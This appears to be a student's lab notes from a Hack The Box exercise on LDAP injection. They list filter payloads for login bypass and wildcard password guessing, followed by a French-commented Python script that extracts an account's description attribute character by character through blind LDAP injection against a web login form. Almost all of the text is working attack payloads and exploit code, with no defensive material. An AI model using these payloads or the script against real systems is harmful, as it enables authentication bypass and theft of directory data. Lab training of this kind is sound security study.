(&(uid=admin)(userPassword=password123))
(&(uid=admin)(userPassword=*))
)(|(& => (&(uid=admin)(|(&)(userPassword=invalid)))
(&(uid=htb-stdnt)(password=p@ssw0rd))
(&(uid=htb-stdnt)(password=p*))
(&(uid=htb-stdnt)(password=p@*))
(&(uid=htb-stdnt)(|(description)(password=p@ssw0rd)))
import requests
import string
characters = string.ascii_letters + string.digits + string.punctuation
def blind_ldap_injection(description,character):
if description == '':
response = requests.post(url="http://<url>/index.php",data={"username":"admin)(|(description="+character+"*","password":"invalid)"})
if "Login successful" in response.text:
#print(f"Injection réussie avec {character}")
return True
else:
return False
else:
response = requests.post(url="http://<url>/index.php",data={"username":"admin)(|(description="+description+character+"*","password":"invalid)"})
if "Login successful" in response.text:
#print(f"Injection réussie avec {character}")
return True
else:
return False
description=''
while True:
found_character = False # Indique si on a trouvé un caractère dans cette itération
# Boucle pour tester chaque caractère possible
for character in characters:
if blind_ldap_injection(description, character):
description += character # Ajoute le caractère trouvé à la description
found_character = True
break # Recommence depuis le début de `characters` avec le nouveau `description`
# Si aucun caractère n'est trouvé, on a terminé
if not found_character:
print(f"Description complète trouvée : {description}")
break # ArrĂŞte la boucle